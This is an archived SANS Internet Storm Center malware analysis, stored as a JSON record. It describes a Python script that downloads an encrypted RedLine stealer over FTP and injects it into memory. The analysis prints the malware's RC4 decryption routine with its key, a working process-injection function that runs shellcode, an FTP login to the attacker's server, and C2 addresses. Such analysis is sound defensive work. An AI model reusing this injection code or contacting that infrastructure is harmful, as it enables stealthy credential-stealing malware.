{
	"id": "7d1fd6e1-4625-4d5e-a3c4-88a500b4b2fa",
	"created_at": "2026-04-06T00:08:45.798917Z",
	"updated_at": "2026-04-10T03:20:51.511484Z",
	"deleted_at": null,
	"sha1_hash": "e6845865a5839565021af0e3155559f816b1df25",
	"title": "RedLine Stealer Delivered Through FTP - SANS ISC",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 50617,
	"plain_text": "RedLine Stealer Delivered Through FTP - SANS ISC\r\nBy SANS Internet Storm Center\r\nArchived: 2026-04-05 18:15:43 UTC\r\nHere is a piece of malicious Python script that injects a RedLine[1] stealer into its own process. Process injection\r\nis a common attacker’s technique these days (for a long time already). The difference, in this case, is that the\r\npayload is delivered through FTP! It’s pretty unusual because FTP is today less and less used for multiple reasons\r\n(lack of encryption by default, complex to filter with those passive/active modes). Support for FTP has even been\r\ndisabled by default in Chrome starting with version 95! But FTP remains a common protocol in the IoT/Linux\r\nlandscape with malware families like Mirai. My honeypots still collect a lot of Mirai samples on FTP servers. I\r\ndon't understand why the attacker chose this protocol because, in most corporate environments, FTP is not allowed\r\nby default (and should definitely not be!).\r\nThe Python script contains the credentials and FTP server IP address. When you connect manually, you can list a\r\nbunch of different payloads but the one used in this case is 001.enc.\r\nremnux@remnux:/MalwareZoo/20220119$ ftp x.x.x.x\r\nConnected to x.x.x.x.\r\n220-FileZilla Server 0.9.60 beta\r\n220-written by Tim Kosse (tim.kosse@filezilla-project.org)\r\n220 Please visit https://filezilla-project.org/\r\nName (62.109.1.213:root): launcher\r\n331 Password required for launcher\r\nPassword:\r\n230 Logged on\r\nRemote system type is UNIX.\r\nUsing binary mode to transfer files.\r\nftp\u003e ls\r\n229 Entering Extended Passive Mode (|||58066|)\r\n150 Opening data channel for directory listing of \"/\"\r\n-r--r--r-- 1 ftp ftp 228352 Jan 17 21:25 001.ENC\r\n-r--r--r-- 1 ftp ftp 228352 Jan 17 21:25 002.ENC\r\n-r--r--r-- 1 ftp ftp 879104 Jan 17 09:26 11.ENC\r\n-r--r--r-- 1 ftp ftp 675840 Aug 14 2021 1650.ENC\r\n-r--r--r-- 1 ftp ftp 675328 Dec 11 2021 167.ENC\r\n-r--r--r-- 1 ftp ftp 675328 Jan 02 13:01 1680.ENC\r\n226 Successfully transferred \"/\"\r\nftp\u003e\r\nThe payload is encrypted and the following function does the job to decrypt the PE file:\r\nhttps://isc.sans.edu/forums/diary/RedLine+Stealer+Delivered+Through+FTP/28258/\r\nPage 1 of 3\n\ndef encode_data(data):\r\n key = b\"JHGIEKC6U\"\r\n S = bytearray(range(256))\r\n j = 0\r\n out = bytearray()\r\n for i in range(256):\r\n j = (j + S[i] + key[i % len(key)]) % 256\r\n S[i] , S[j] = S[j] , S[i]\r\n i = j = 0\r\n for char in data:\r\n i = ( i + 1 ) % 256\r\n j = ( j + S[i] ) % 256\r\n S[i] , S[j] = S[j] , S[i]\r\n out.append(char ^ S[(S[i] + S[j]) % 256])\r\n return(bytes(out))\r\nLike I said to my students when I'm teaching FOR610, when you are investigating an incident, the way the\r\npayload was encrypted/encoded is less relevant. The payload in itself is important. To extract the PE file, I just\r\nwrote a quick Python script that replicates this function and dumps the payload into a file.\r\nThe decrypted payload SHA256 is 0eeb332efa3c20c2f3d85d07d844ba6150bdee3c1eade52f0f2449c3d2727334\r\nand is unknown on VT at this time.\r\nThe script also has a hex-encoded shellcode. Why do we have a shellcode and another payload? Here is the\r\nfunction used to inject the code:\r\ndef runpe(peimage):\r\n filepathenv = \"%ProgramFiles%\\\\Internet Explorer\\\\iexplore.exe\"\r\n filepath = os.path.expandvars(filepathenv)\r\n ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p\r\n p = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(sc)),\r\n ctypes.c_int(0x3000), ctypes.c_int(0x40))\r\n ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(p), sc, ctypes.c_int(len(sc)))\r\n q = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(peimage)),\r\n ctypes.c_int(0x3000), ctypes.c_int(0x40))\r\n ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(q), peimage, ctypes.c_int(len(peimage)))\r\n run = ctypes.cast(p, ctypes.WINFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p))\r\n run(filepath.encode('utf8')+b'\\x00', q)\r\nYou see that two calls to VirtualAlloc() are performed. The first one is used to load the shellcode into memory\r\nand the second to load the payload (RedLine itself). The most interesting line is the one with the\r\nctypes.cast() . This function allows casting the shellcode to act as a function pointer. Once completed, the\r\nshellcode can be called like any standard Python function:\r\nhttps://isc.sans.edu/forums/diary/RedLine+Stealer+Delivered+Through+FTP/28258/\r\nPage 2 of 3\n\nrun(filepath.encode('utf8')+b'\\x00', q)\r\nThrough the shellcode, Python will execute RedLine that has been injected in memory before. My sample tried to\r\nconnect to the following C2 but it was offline (78[.]24[.]222[.]162:37819).\r\nThe initial Python script (SHA256:e6d6451b82a03a3199770c490907ef01c401cc44826162a97d0f22aa9c122619)\r\nhas a VT score of 14/58[2].\r\n[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer\r\n[2] https://www.virustotal.com/gui/file/e6d6451b82a03a3199770c490907ef01c401cc44826162a97d0f22aa9c122619\r\nXavier Mertens (@xme)\r\nXameco\r\nSenior ISC Handler - Freelance Cyber Security Consultant\r\nPGP Key\r\nSource: https://isc.sans.edu/forums/diary/RedLine+Stealer+Delivered+Through+FTP/28258/\r\nhttps://isc.sans.edu/forums/diary/RedLine+Stealer+Delivered+Through+FTP/28258/\r\nPage 3 of 3",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://isc.sans.edu/forums/diary/RedLine+Stealer+Delivered+Through+FTP/28258/"
	],
	"report_names": [
		"28258"
	],
	"threat_actors": [],
	"ts_created_at": 1775434125,
	"ts_updated_at": 1775791251,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e6845865a5839565021af0e3155559f816b1df25.pdf",
		"text": "https://archive.orkl.eu/e6845865a5839565021af0e3155559f816b1df25.txt",
		"img": "https://archive.orkl.eu/e6845865a5839565021af0e3155559f816b1df25.jpg"
	}
}